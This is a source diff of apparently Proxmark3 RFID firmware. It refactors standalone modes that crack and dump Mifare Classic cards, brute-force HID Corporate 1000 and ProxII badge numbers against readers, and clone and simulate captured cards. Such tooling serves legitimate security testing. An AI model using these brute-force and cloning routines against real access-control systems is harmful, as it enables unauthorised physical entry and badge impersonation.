sizeof(uint64_t) * (ARRAYLEN(MATTYRUN_MFC_ESSENTIAL_KEYS) +
ARRAYLEN(MATTYRUN_MFC_DEFAULT_KEYS) +
MIFARE_4K_MAXSECTOR * 2));
@ -500,7 +501,7 @@ void RunMod(void) {
uint8_t mblock[MIFARE_BLOCK_SIZE];
for (uint8_t sectorNo = 0; sectorNo < sectorsCnt; ++sectorNo) {
if (validKey[0][sectorNo] || validKey[1][sectorNo]) {
emlGetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1);
emlGetMem_xt(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1, MIFARE_BLOCK_SIZE);
for (uint8_t keyType = 0; keyType < 2; ++keyType) {
if (validKey[keyType][sectorNo]) {
memcpy(mblock + keyType * 10, foundKey[keyType][sectorNo], 6);
@ -520,11 +521,11 @@ void RunMod(void) {
int filled;
partialEmulation = false;
DbpString("[=] Filling emulator memory using key A");
filled = MifareECardLoad(sectorsCnt, MF_KEY_A);
filled = MifareECardLoad(sectorsCnt, MF_KEY_A, NULL);
if (filled != PM3_SUCCESS) {
DbpString("[" _YELLOW_("-") "] " _YELLOW_("Only partially filled using key A, retry with key B!"));
DbpString("[=] Filling emulator memory using key B");
filled = MifareECardLoad(sectorsCnt, MF_KEY_B);
filled = MifareECardLoad(sectorsCnt, MF_KEY_B, NULL);
if (filled != PM3_SUCCESS) {
DbpString("[" _YELLOW_("-") "] " _YELLOW_("Only partially filled using key B!"));
}
@ -534,7 +535,14 @@ void RunMod(void) {
SpinErr(LED_D, 50, 8);
partialEmulation = true;
} else {
DbpString("[" _GREEN_("+") "] " _GREEN_("Emulator memory filled completely."));
#ifdef WITH_FLASH
DbpString("[" _GREEN_("+") "] " _GREEN_("Emulator memory filled completely. Start storing card in spiff memory."));
uint8_t *emCARD = BigBuf_get_EM_addr();
char dumpFileName[30] = {0};
sprintf(dumpFileName, DUMP_FILE, mattyrun_card.uid[0], mattyrun_card.uid[1], mattyrun_card.uid[2], mattyrun_card.uid[3]);
rdv40_spiffs_write(dumpFileName, emCARD, 1024, RDV40_SPIFFS_SAFETY_SAFE);
Dbprintf("[" _GREEN_("+") "] " _GREEN_("Stored card on %s"), dumpFileName);
#endif
}
state = STATE_EMULATE;
@ -556,19 +564,7 @@ void RunMod(void) {
}
uint16_t simflags = 0;
switch (mattyrun_card.uidlen) {
case 4:
simflags |= FLAG_4B_UID_IN_DATA;
break;
case 7:
simflags |= FLAG_7B_UID_IN_DATA;
break;
case 10:
simflags |= FLAG_10B_UID_IN_DATA;
break;
default:
break;
}
FLAG_SET_UID_IN_DATA(simflags, mattyrun_card.uidlen);
uint16_t atqa = (uint16_t)bytes_to_num(mattyrun_card.atqa, 2);
SpinDelay(1000);

View file

@ -21,6 +21,9 @@
#include <inttypes.h>
// Filename to store the card info in spiff memory
#define DUMP_FILE "hf_mattyrun_dump_%02x%02x%02x%02x.bin"
// Set of standard keys to be used
static uint64_t const MATTYRUN_MFC_DEFAULT_KEYS[] = {
0xFFFFFFFFFFFF, // Default key

View file

@ -143,7 +143,9 @@ void RunMod(void) {
//Start to simulate
Dbprintf(_YELLOW_("[Slot: %d] Simulation start, Press button to change next card."), i);
uint16_t simflags = FLAG_UID_IN_EMUL | FLAG_MF_1K;
uint16_t simflags = 0;
FLAG_SET_MF_SIZE(simflags, MIFARE_1K_MAX_BYTES);
FLAG_SET_UID_IN_EMUL(simflags);
Mifare1ksim(simflags, 0, NULL, 0, 0);
Dbprintf(_YELLOW_("[Slot: %d] Simulation end, Write Back to dump file!"), i);

View file

@ -209,7 +209,8 @@ void RunMod(void) {
bool chktoken = false;
// UID 4 bytes(could be 7 bytes if needed it)
uint8_t flags = FLAG_4B_UID_IN_DATA;
uint8_t flags = 0;
FLAG_SET_UID_IN_DATA(flags, 4);
// in case there is a read command received we shouldn't break
uint8_t data[PM3_CMD_DATA_SIZE] = {0x00};
@ -378,7 +379,7 @@ void RunMod(void) {
BigBuf_free_keep_EM();
// tag type: 11 = ISO/IEC 14443-4 - javacard (JCOP)
if (SimulateIso14443aInit(11, flags, data, &responses, &cuid, NULL, NULL, NULL) == false) {
if (SimulateIso14443aInit(11, flags, data, NULL, 0, &responses, &cuid, NULL, NULL) == false) {
BigBuf_free_keep_EM();
reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0);
DbpString(_RED_("Error initializing the emulation process!"));
@ -444,7 +445,7 @@ void RunMod(void) {
// received a RATS request
} else if (receivedCmd[0] == ISO14443A_CMD_RATS && len == 4) {
prevCmd = 0;
p_response = &responses[RESP_INDEX_RATS];
p_response = &responses[RESP_INDEX_ATS];
} else {
if (g_dbglevel == DBG_DEBUG) {

View file

@ -81,7 +81,8 @@ void RunMod() {
// UID 4 bytes(could be 7 bytes if needed it)
uint8_t flags = FLAG_4B_UID_IN_DATA;
uint8_t flags = 0;
FLAG_SET_UID_IN_DATA(flags, 4);
// in case there is a read command received we shouldn't break
uint8_t data[PM3_CMD_DATA_SIZE] = {0x00};
@ -267,7 +268,7 @@ void RunMod() {
BigBuf_free_keep_EM();
// 4 = ISO/IEC 14443-4 - javacard (JCOP)
if (SimulateIso14443aInit(4, flags, data, &responses, &cuid, NULL, NULL, NULL) == false) {
if (SimulateIso14443aInit(4, flags, data, NULL, 0, &responses, &cuid, NULL, NULL) == false) {
BigBuf_free_keep_EM();
reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0);
DbpString(_RED_("Error initializing the emulation process!"));
@ -337,7 +338,7 @@ void RunMod() {
} else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 9) { // Received a SELECT (cascade 1)
p_response = &responses[RESP_INDEX_SAKC1];
} else if (receivedCmd[0] == ISO14443A_CMD_RATS && len == 4) { // Received a RATS request
p_response = &responses[RESP_INDEX_RATS];
p_response = &responses[RESP_INDEX_ATS];
resp = 1;
} else if (receivedCmd[0] == 0xf2 && len == 4) { // ACKed - Time extension
DbpString(_YELLOW_("!!") " Reader accepted time extension!");

File diff suppressed because it is too large Load diff

View file

@ -110,15 +110,14 @@ void RunMod(void) {
#define DYNAMIC_RESPONSE_BUFFER_SIZE 64
#define DYNAMIC_MODULATION_BUFFER_SIZE 512
uint8_t flags = FLAG_7B_UID_IN_DATA; // ST25TA have 7B UID
uint8_t flags = 0;
FLAG_SET_UID_IN_DATA(flags, 7); // ST25TA have 7B UID
uint8_t data[PM3_CMD_DATA_SIZE] = {0x00}; // in case there is a read command received we shouldn't break
// to initialize the emulation
uint8_t tagType = 10; // 10 = ST25TA IKEA Rothult
tag_response_info_t *responses;
uint32_t cuid = 0;
uint32_t counters[3] = { 0x00, 0x00, 0x00 };
uint8_t tearings[3] = { 0xbd, 0xbd, 0xbd };
uint8_t pages = 0;
// command buffers
@ -192,7 +191,7 @@ void RunMod(void) {
memcpy(data, stuid, sizeof(stuid));
if (SimulateIso14443aInit(tagType, flags, data, &responses, &cuid, counters, tearings, &pages) == false) {
if (SimulateIso14443aInit(tagType, flags, data, NULL, 0, &responses, &cuid, &pages, NULL) == false) {
BigBuf_free_keep_EM();
reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0);
DbpString(_YELLOW_("!!") "Error initializing the simulation process!");
@ -246,7 +245,7 @@ void RunMod(void) {
} else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2 && len == 9) { // Received a SELECT (cascade 2)
p_response = &responses[RESP_INDEX_SAKC2];
} else if (receivedCmd[0] == ISO14443A_CMD_RATS && len == 4) { // Received a RATS request
p_response = &responses[RESP_INDEX_RATS];
p_response = &responses[RESP_INDEX_ATS];
} else if (receivedCmd[0] == ISO14443A_CMD_PPS) {
p_response = &responses[RESP_INDEX_PPS];
} else {
@ -370,7 +369,7 @@ void RunMod(void) {
memcpy(data, stuid, sizeof(stuid));
if (SimulateIso14443aInit(tagType, flags, data, &responses, &cuid, counters, tearings, &pages) == false) {
if (SimulateIso14443aInit(tagType, flags, data, NULL, 0, &responses, &cuid, &pages, NULL) == false) {
BigBuf_free_keep_EM();
reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0);
DbpString(_YELLOW_("!!") "Error initializing the simulation process!");
@ -424,7 +423,7 @@ void RunMod(void) {
} else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2 && len == 9) { // Received a SELECT (cascade 2)
p_response = &responses[RESP_INDEX_SAKC2];
} else if (receivedCmd[0] == ISO14443A_CMD_RATS && len == 4) { // Received a RATS request
p_response = &responses[RESP_INDEX_RATS];
p_response = &responses[RESP_INDEX_ATS];
} else if (receivedCmd[0] == ISO14443A_CMD_PPS) {
p_response = &responses[RESP_INDEX_PPS];
} else {

View file

@ -201,7 +201,7 @@ void RunMod(void) {
// available after filling the trace buffer.
char *filename = (char *)BigBuf_calloc(64);
if (filename == NULL) {
Dbprintf("failed to allocate memory");
Dbprintf("Failed to allocate memory");
return;
}
// Read the config file. Size is limited to defined value so as not to consume

View file

@ -55,7 +55,7 @@ void RunMod(void) {
card_clone_t uids[OPTS];
iso14a_card_select_t card[OPTS];
uint8_t params = (MAGIC_SINGLE | MAGIC_DATAIN);
uint8_t params = (MAGIC_SINGLE | MAGIC_WUPC | MAGIC_DATAIN);
LED(selected + 1, 0);
@ -96,7 +96,7 @@ void RunMod(void) {
}
}
if (!iso14443a_select_card(NULL, &card[selected], NULL, true, 0, true)) {
if (iso14443a_select_card(NULL, &card[selected], NULL, true, 0, true) == 0) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LED_D_OFF();
SpinDelay(500);
@ -177,14 +177,14 @@ void RunMod(void) {
MifareCGetBlock(c->arg[0], c->arg[1], c->d.asBytes);
break;
mfCSetUID provides example logic for UID set workflow:
mf_chinese_set_uid provides example logic for UID set workflow:
-Read block0 from card in field with MifareCGetBlock()
-Configure new values without replacing reserved bytes
memcpy(block0, uid, 4); // Copy UID bytes from byte array
// Mifare UID BCC
block0[4] = block0[0]^block0[1]^block0[2]^block0[3]; // BCC on byte 5
Bytes 5-7 are reserved SAK and ATQA for mifare classic
-Use mfCSetBlock(0, block0, oldUID, wantWipe, MAGIC_SINGLE) to write it
-Use mf_chinese_set_block(0, block0, oldUID, wantWipe, MAGIC_SINGLE | MAGIC_WUPC) to write it
*/
uint8_t oldBlock0[16] = {0}, newBlock0[16] = {0};
// arg0 = Flags, arg1=blockNo
@ -236,7 +236,8 @@ void RunMod(void) {
int button_pressed = BUTTON_HELD(1000);
if (button_pressed == BUTTON_NO_CLICK) { // No button action, proceed with sim
uint16_t flags = FLAG_4B_UID_IN_DATA;
uint16_t flags = 0;
FLAG_SET_UID_IN_DATA(flags, 4);
uint8_t data[PM3_CMD_DATA_SIZE] = {0}; // in case there is a read command received we shouldn't break
memcpy(data, uids[selected].uid, uids[selected].uidlen);
@ -244,7 +245,7 @@ void RunMod(void) {
uint64_t tmpuid = bytes_to_num(uids[selected].uid, uids[selected].uidlen);
if (uids[selected].uidlen == 7) {
flags = FLAG_7B_UID_IN_DATA;
FLAG_SET_UID_IN_DATA(flags, 7);
Dbprintf("Simulating ISO14443a tag with uid: %014" PRIx64 " [Bank: %d]", tmpuid, selected);
} else {
Dbprintf("Simulating ISO14443a tag with uid: %08" PRIx64 " [Bank: %d]", tmpuid, selected);
@ -252,25 +253,25 @@ void RunMod(void) {
if (uids[selected].sak == 0x08 && uids[selected].atqa[0] == 0x04 && uids[selected].atqa[1] == 0) {
DbpString("Mifare Classic 1k");
SimulateIso14443aTag(1, flags, data, 0);
SimulateIso14443aTag(1, flags, data, 0, NULL, 0, false, false);
} else if (uids[selected].sak == 0x18 && uids[selected].atqa[0] == 0x02 && uids[selected].atqa[1] == 0) {
DbpString("Mifare Classic 4k (4b uid)");
SimulateIso14443aTag(8, flags, data, 0);
SimulateIso14443aTag(8, flags, data, 0, NULL, 0, false, false);
} else if (uids[selected].sak == 0x08 && uids[selected].atqa[0] == 0x44 && uids[selected].atqa[1] == 0) {
DbpString("Mifare Classic 4k (7b uid)");
SimulateIso14443aTag(8, flags, data, 0);
SimulateIso14443aTag(8, flags, data, 0, NULL, 0, false, false);
} else if (uids[selected].sak == 0x00 && uids[selected].atqa[0] == 0x44 && uids[selected].atqa[1] == 0) {
DbpString("Mifare Ultralight");
SimulateIso14443aTag(2, flags, data, 0);
SimulateIso14443aTag(2, flags, data, 0, NULL, 0, false, false);
} else if (uids[selected].sak == 0x20 && uids[selected].atqa[0] == 0x04 && uids[selected].atqa[1] == 0x03) {
DbpString("Mifare DESFire");
SimulateIso14443aTag(3, flags, data, 0);
SimulateIso14443aTag(3, flags, data, 0, NULL, 0, false, false);
} else if (uids[selected].sak == 0x20 && uids[selected].atqa[0] == 0x44 && uids[selected].atqa[1] == 0x03) {
DbpString("Mifare DESFire Ev1/Plus/JCOP");
SimulateIso14443aTag(3, flags, data, 0);
SimulateIso14443aTag(3, flags, data, 0, NULL, 0, false, false);
} else {
Dbprintf("Unrecognized tag type -- defaulting to Mifare Classic emulation");
SimulateIso14443aTag(1, flags, data, 0);
SimulateIso14443aTag(1, flags, data, 0, NULL, 0, false, false);
}
} else if (button_pressed == BUTTON_SINGLE_CLICK) {

View file

@ -30,7 +30,6 @@
// main code for LF aka HID corporate brutefore by Federico Dotta & Maurizio Agazzini
//-----------------------------------------------------------------------------------
#include "standalone.h" // standalone definitions
#include "lf_hidbrute.h"
#include "proxmark3_arm.h"
#include "appmain.h"
@ -42,6 +41,8 @@
#define OPTS 3
static void hid_corporate_1000_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc);
void ModInfo(void) {
DbpString(" LF HID corporate 1000 bruteforce - aka Corporatebrute (Federico dotta & Maurizio Agazzini)");
}
@ -250,14 +251,14 @@ out:
}
// Function that calculate next value for the brutforce of HID corporate 1000
void hid_corporate_1000_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc) {
static void hid_corporate_1000_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc) {
uint32_t new_high = 0;
uint32_t new_low = 0;
// Calculate new high and low base value from card number and facility code, without parity
new_low = (fc << 21) | (cardnum << 1);
new_high = 0x28 | ((fc >> 11) & 1); // 0x28 is 101000
new_high = (fc >> 11) & 1;
int n_ones;
uint32_t i;
@ -319,6 +320,7 @@ void hid_corporate_1000_calculate_checksum_and_set(uint32_t *high, uint32_t *low
new_high = new_high | 0x4;
// Setting new calculated values
add_HID_preamble(0, &new_high, &new_low, 35);
*low = new_low;
*high = new_high;
}

View file

@ -1,40 +0,0 @@
//-----------------------------------------------------------------------------
// Copyright (C) Federico Dotta and Maurizio Agazzini, 2015
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------
// PROXMARK3 - HID CORPORATE 1000 BRUTEFORCER (STAND-ALONE MODE)
//
// The new stand-alone mode allows to execute a bruteforce on HID Corporate 1000 readers, by
// reading a specific badge and bruteforcing the Card Number (incrementing and decrementing it),
// mainteining the same Facility Code of the original badge.
//
// Based on an idea of Brad Antoniewicz of McAfee® Foundstone® Professional Services (ProxBrute),
// the stand-alone mode has been rewritten in order to overcome some limitations of ProxBrute firmware,
// that does not consider parity bits.
//
// https://github.com/federicodotta/proxmark3
//
//-----------------------------------------------------------------------------------
// main code for LF aka HID corporate brutefore by Federico Dotta & Maurizio Agazzini
//-----------------------------------------------------------------------------------
#ifndef __LF_HIDBRUTE_H
#define __LF_HIDBRUTE_H
#include <stdint.h>
void hid_corporate_1000_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc);
#endif /* __LF_HIDBRUTE_H */

View file

@ -37,8 +37,6 @@
*/
#include "standalone.h"
#include <inttypes.h>
#include "lf_hidfcbrute.h"
#include "proxmark3_arm.h"
#include "appmain.h"
@ -59,6 +57,8 @@
#define LF_HIDCOLLECT_LOGFILE "lf_hid_fcbrute.log"
static void hid_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc);
static void append(uint8_t *entry, size_t entry_len) {
LED_B_ON();
DbpString("Writing... ");
@ -166,7 +166,7 @@ void RunMod(void) {
LEDsoff();
}
void hid_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc) {
static void hid_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc) {
uint32_t newhigh = 0;
uint32_t newlow = 0;
@ -176,8 +176,7 @@ void hid_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t card
newlow |= oddparity32((newlow >> 1) & 0xFFF);
newlow |= (evenparity32((newlow >> 13) & 0xFFF)) << 25;
newhigh |= 0x20; // Bit 37; standard header
newlow |= 1U << 26; // leading 1: start bit
add_HID_preamble(NULL, &newhigh, &newlow, 26);
*low = newlow;
*high = newhigh;

View file

@ -199,7 +199,7 @@ static uint32_t IceIOdemod(void) {
size_t size = MIN(12000, BigBuf_max_traceLen());
// uint8_t *dest = BigBuf_malloc(size);
// uint8_t *dest = BigBuf_calloc(size);
uint8_t *dest = BigBuf_get_addr();
//fskdemod and get start index
@ -243,7 +243,7 @@ static uint32_t IceHIDDemod(void) {
// large enough to catch 2 sequences of largest format
// size_t size = 50 * 128 * 2; // 12800 bytes
size_t size = MIN(12800, BigBuf_max_traceLen());
//uint8_t *dest = BigBuf_malloc(size);
//uint8_t *dest = BigBuf_calloc(size);
uint8_t *dest = BigBuf_get_addr();
// FSK demodulator

View file

@ -16,8 +16,8 @@
//-----------------------------------------------------------------------------
// LF HID ProxII Brutforce v2 by lnv42 - based on Proxbrute by Brad antoniewicz
//
// Following code is a trivial brute forcer for when you know the facility
// code and want to find valid(s) card number(s). It will try all card
// Following code is a trivial brute forcer (H10301 26-bit) when you know the
// facility code and want to find valid(s) card number(s). It will try all card
// fnumbers rom CARDNUM_START to CARDNUM_END one by one (max. ~65k tries).
// This brute force will be a lot faster than Proxbrute that will try all
// possibles values for LF low, even those with bad checksum (~4g tries).
@ -46,8 +46,7 @@ void RunMod(void) {
StandAloneMode();
Dbprintf(">> LF HID proxII bruteforce v2 a.k.a Prox2Brute Started <<");
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
const uint32_t high = 0x20; // LF high value is always 0x20 here
uint32_t high = 0;
uint32_t fac = FACILITY_CODE, cardnum = 0;
@ -82,6 +81,7 @@ void RunMod(void) {
uint32_t low = (cardnum << 1) | (fac << 17);
low |= oddparity32((low >> 1) & 0xFFF);
low |= evenparity32((low >> 13) & 0xFFF) << 25;
add_HID_preamble(NULL, &high, &low, 26);
Dbprintf("[=] trying Facility = %08x, Card = %08x, raw = %08x%08x",
fac, cardnum, high, low);

View file

@ -103,9 +103,9 @@ static bool get_input_data_from_file(uint32_t *tag, char *inputfile) {
if (exists_in_spiffs(inputfile)) {
uint32_t size = size_in_spiffs(inputfile);
uint8_t *mem = BigBuf_malloc(size);
uint8_t *mem = BigBuf_calloc(size);
Dbprintf(_YELLOW_("found input file %s"), inputfile);
Dbprintf("found input file `" _YELLOW_("%s") "`", inputfile);
rdv40_spiffs_read_as_filetype(inputfile, mem, size, RDV40_SPIFFS_SAFETY_SAFE);

View file

@ -41,6 +41,7 @@
#include "hitag2.h"
#include "hitag2_crack.h"
#include "hitagS.h"
#include "hitagu.h"
#include "em4x50.h"
#include "em4x70.h"
#include "iclass.h"
@ -54,6 +55,7 @@
#include "mifarecmd.h"
#include "mifaredesfire.h"
#include "mifaresim.h"
#include "emvsim.h"
#include "pcf7931.h"
#include "Standalone/standalone.h"
#include "util.h"
@ -97,12 +99,13 @@ int tearoff_hook(void) {
if (g_tearoff_enabled) {
if (g_tearoff_delay_us == 0) {
Dbprintf(_RED_("No tear-off delay configured!"));
g_tearoff_enabled = false;
return PM3_SUCCESS; // SUCCESS = the hook didn't do anything
}
SpinDelayUsPrecision(g_tearoff_delay_us);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
g_tearoff_enabled = false;
Dbprintf(_YELLOW_("Tear-off triggered!"));
if (g_dbglevel >= DBG_ERROR) Dbprintf(_YELLOW_("Tear-off triggered!"));
return PM3_ETEAROFF;
} else {
return PM3_SUCCESS; // SUCCESS = the hook didn't do anything
@ -252,7 +255,7 @@ static uint32_t MeasureAntennaTuningLfData(void) {
void print_stack_usage(void) {
for (uint32_t *p = _stack_start; ; ++p) {
if (*p != 0xdeadbeef) {
Dbprintf(" Max stack usage......... %d / %d bytes", (uint32_t)_stack_end - (uint32_t)p, (uint32_t)_stack_end - (uint32_t)_stack_start);
Dbprintf(" Max stack usage..... %d / %d bytes", (uint32_t)_stack_end - (uint32_t)p, (uint32_t)_stack_end - (uint32_t)_stack_start);
break;
}
}
@ -287,20 +290,19 @@ static void SendVersion(void) {
if ((uint32_t)bootrom_version < (uint32_t)_flash_start || (uint32_t)bootrom_version >= (uint32_t)_flash_end) {
strcat(VersionString, "bootrom version information appears invalid\n");
} else {
FormatVersionInformation(temp, sizeof(temp), " bootrom: ", bootrom_version);
FormatVersionInformation(temp, sizeof(temp), " Bootrom.... ", bootrom_version);
strncat(VersionString, temp, sizeof(VersionString) - strlen(VersionString) - 1);
strncat(VersionString, "\n", sizeof(VersionString) - strlen(VersionString) - 1);
}
FormatVersionInformation(temp, sizeof(temp), " os: ", &g_version_information);
FormatVersionInformation(temp, sizeof(temp), " OS......... ", &g_version_information);
strncat(VersionString, temp, sizeof(VersionString) - strlen(VersionString) - 1);
strncat(VersionString, "\n", sizeof(VersionString) - strlen(VersionString) - 1);
#if defined(__clang__)
strncat(VersionString, " compiled with Clang/LLVM "__VERSION__"\n", sizeof(VersionString) - strlen(VersionString) - 1);
strncat(VersionString, " Compiler... Clang/LLVM "__VERSION__"\n", sizeof(VersionString) - strlen(VersionString) - 1);
#elif defined(__GNUC__) || defined(__GNUG__)
strncat(VersionString, " compiled with GCC "__VERSION__"\n", sizeof(VersionString) - strlen(VersionString) - 1);
strncat(VersionString, " Compiler... GCC "__VERSION__"\n", sizeof(VersionString) - strlen(VersionString) - 1);
#endif
strncat(VersionString, "\n [ "_YELLOW_("FPGA")" ] \n ", sizeof(VersionString) - strlen(VersionString) - 1);
@ -364,7 +366,7 @@ static void print_debug_level(void) {
sprintf(dbglvlstr, "extended");
break;
}
Dbprintf(" Debug log level......... %d ( " _YELLOW_("%s")" )", g_dbglevel, dbglvlstr);
Dbprintf(" Debug log level..... %d ( " _YELLOW_("%s")" )", g_dbglevel, dbglvlstr);
}
// measure the Connection Speed by sending SpeedTestBufferSize bytes to client and measuring the elapsed time.
@ -420,11 +422,11 @@ static void SendStatus(uint32_t wait) {
print_debug_level();
tosend_t *ts = get_tosend();
Dbprintf(" ToSendMax............... %d", ts->max);
Dbprintf(" ToSend BUFFERSIZE....... %d", TOSEND_BUFFER_SIZE);
Dbprintf(" ToSendMax........... %d", ts->max);
Dbprintf(" ToSend BUFFERSIZE... %d", TOSEND_BUFFER_SIZE);
while ((AT91C_BASE_PMC->PMC_MCFR & AT91C_CKGR_MAINRDY) == 0); // Wait for MAINF value to become available...
uint16_t mainf = AT91C_BASE_PMC->PMC_MCFR & AT91C_CKGR_MAINF; // Get # main clocks within 16 slow clocks
Dbprintf(" Slow clock.............. %d Hz", (16 * MAINCK) / mainf);
Dbprintf(" Slow clock.......... %d Hz", (16 * MAINCK) / mainf);
uint32_t delta_time = 0;
uint32_t start_time = GetTickCount();
#define SLCK_CHECK_MS 50
@ -440,7 +442,70 @@ static void SendStatus(uint32_t wait) {
ModInfo();
#ifdef WITH_FLASH
Flashmem_print_info();
DbpString(_CYAN_("Flash memory dictionary loaded"));
uint32_t num = 0;
if (exists_in_spiffs(MF_KEYS_FILE)) {
num = size_in_spiffs(MF_KEYS_FILE) / MF_KEY_LENGTH;
} else {
num = 0;
}
if (num > 0) {
Dbprintf(" Mifare... "_YELLOW_("%u")" keys - "_GREEN_("%s"), num, MF_KEYS_FILE);
} else {
Dbprintf(" Mifare... "_RED_("%u")" keys - "_RED_("%s"), num, MF_KEYS_FILE);
}
if (exists_in_spiffs(T55XX_KEYS_FILE)) {
num = size_in_spiffs(T55XX_KEYS_FILE) / T55XX_KEY_LENGTH;
} else {
num = 0;
}
if (num > 0) {
Dbprintf(" T55xx.... "_YELLOW_("%u")" keys - "_GREEN_("%s"), num, T55XX_KEYS_FILE);
} else {
Dbprintf(" T55xx.... "_RED_("%u")" keys - "_RED_("%s"), num, T55XX_KEYS_FILE);
}
if (exists_in_spiffs(ICLASS_KEYS_FILE)) {
num = size_in_spiffs(ICLASS_KEYS_FILE) / ICLASS_KEY_LENGTH;
} else {
num = 0;
}
if (num > 0) {
Dbprintf(" iClass... "_YELLOW_("%u")" keys - "_GREEN_("%s"), num, ICLASS_KEYS_FILE);
} else {
Dbprintf(" iClass... "_RED_("%u")" keys - "_RED_("%s"), num, ICLASS_KEYS_FILE);
}
if (exists_in_spiffs(MFULC_KEYS_FILE)) {
num = size_in_spiffs(MFULC_KEYS_FILE) / MFULC_KEY_LENGTH;
} else {
num = 0;
}
if (num > 0) {
Dbprintf(" UL-C..... "_YELLOW_("%u")" keys - "_GREEN_("%s"), num, MFULC_KEYS_FILE);
} else {
Dbprintf(" UL-C..... "_RED_("%u")" keys - "_RED_("%s"), num, MFULC_KEYS_FILE);
}
if (exists_in_spiffs(MFULAES_KEYS_FILE)) {
num = size_in_spiffs(MFULAES_KEYS_FILE) / MFULAES_KEY_LENGTH;
} else {
num = 0;
}
if (num > 0) {
Dbprintf(" UL-AES... "_YELLOW_("%u")" keys - "_GREEN_("%s"), num, MFULAES_KEYS_FILE);
} else {
Dbprintf(" UL-AES... "_RED_("%u")" keys - "_RED_("%s"), num, MFULAES_KEYS_FILE);
}
#endif
DbpString("");
reply_ng(CMD_STATUS, PM3_SUCCESS, NULL, 0);
@ -1153,7 +1218,7 @@ static void PacketReceived(PacketCommandNG *packet) {
lf_hitag_data_t *payload = (lf_hitag_data_t *) packet->data.asBytes;
switch (payload->cmd) {
case RHT2F_UID_ONLY: {
case HT2F_UID_ONLY: {
ht2_read_uid(NULL, true, true, false);
break;
}
@ -1165,21 +1230,25 @@ static void PacketReceived(PacketCommandNG *packet) {
break;
}
case CMD_LF_HITAGS_SIMULATE: { // Simulate Hitag s tag, args = memory content
SimulateHitagSTag((bool)packet->oldarg[0], packet->data.asBytes, true);
hts_simulate((bool)packet->oldarg[0], packet->oldarg[1], packet->data.asBytes, true);
break;
}
case CMD_LF_HITAGS_TEST_TRACES: { // Tests every challenge within the given file
Hitag_check_challenges(packet->data.asBytes, packet->length, true);
hts_check_challenges(packet->data.asBytes, packet->length, true);
break;
}
case CMD_LF_HITAGS_READ: { // Reader for only Hitag S tags, args = key or challenge
lf_hitag_data_t *payload = (lf_hitag_data_t *) packet->data.asBytes;
ReadHitagS(payload, true);
hts_read(payload, true);
break;
}
case CMD_LF_HITAGS_WRITE: {
lf_hitag_data_t *payload = (lf_hitag_data_t *) packet->data.asBytes;
WritePageHitagS(payload, true);
hts_write_page(payload, true);
break;
}
case CMD_LF_HITAGS_UID: {
hts_read_uid(NULL, true, true);
break;
}
case CMD_LF_HITAG2_WRITE: {
@ -1193,6 +1262,25 @@ static void PacketReceived(PacketCommandNG *packet) {
memcpy(mem, payload->data, payload->len);
break;
}
case CMD_LF_HITAGU_READ: {
lf_hitag_data_t *payload = (lf_hitag_data_t *)packet->data.asBytes;
htu_read(payload, true);
break;
}
case CMD_LF_HITAGU_WRITE: {
lf_hitag_data_t *payload = (lf_hitag_data_t *)packet->data.asBytes;
htu_write_page(payload, true);
break;
}
case CMD_LF_HITAGU_SIMULATE: {
htu_simulate((bool)packet->oldarg[0], packet->oldarg[1], packet->data.asBytes, true);
break;
}
case CMD_LF_HITAGU_UID: {
htu_read_uid(NULL, true, true);
break;
}
#endif
#ifdef WITH_EM4x50
@ -1331,7 +1419,11 @@ static void PacketReceived(PacketCommandNG *packet) {
// involved in dealing with emulator memory. But if it is called later, it might
// destroy the Emulator Memory.
//-----------------------------------------------------------------------------
EmlClearIso15693();
// Resetting the bitstream also frees the BigBuf memory, so we do this here to prevent
// an inconvenient reset in the future by Iso15693InitTag
FpgaDownloadAndGo(FPGA_BITSTREAM_HF_15);
BigBuf_Clear_EM();
reply_ng(CMD_HF_ISO15693_EML_CLEAR, PM3_SUCCESS, NULL, 0);
break;
}
case CMD_HF_ISO15693_EML_SETMEM: {
@ -1363,7 +1455,7 @@ static void PacketReceived(PacketCommandNG *packet) {
return;
}
uint8_t *buf = BigBuf_malloc(payload->length);
uint8_t *buf = BigBuf_calloc(payload->length);
emlGet(buf, payload->offset, payload->length);
LED_B_ON();
reply_ng(CMD_HF_ISO15693_EML_GETMEM, PM3_SUCCESS, buf, payload->length);
@ -1424,6 +1516,17 @@ static void PacketReceived(PacketCommandNG *packet) {
WritePasswordSlixIso15693(payload->old_pwd, payload->new_pwd, payload->pwd_id);
break;
}
case CMD_HF_ISO15693_SLIX_PROTECT_PAGE: {
struct p {
uint8_t read_pwd[4];
uint8_t write_pwd[4];
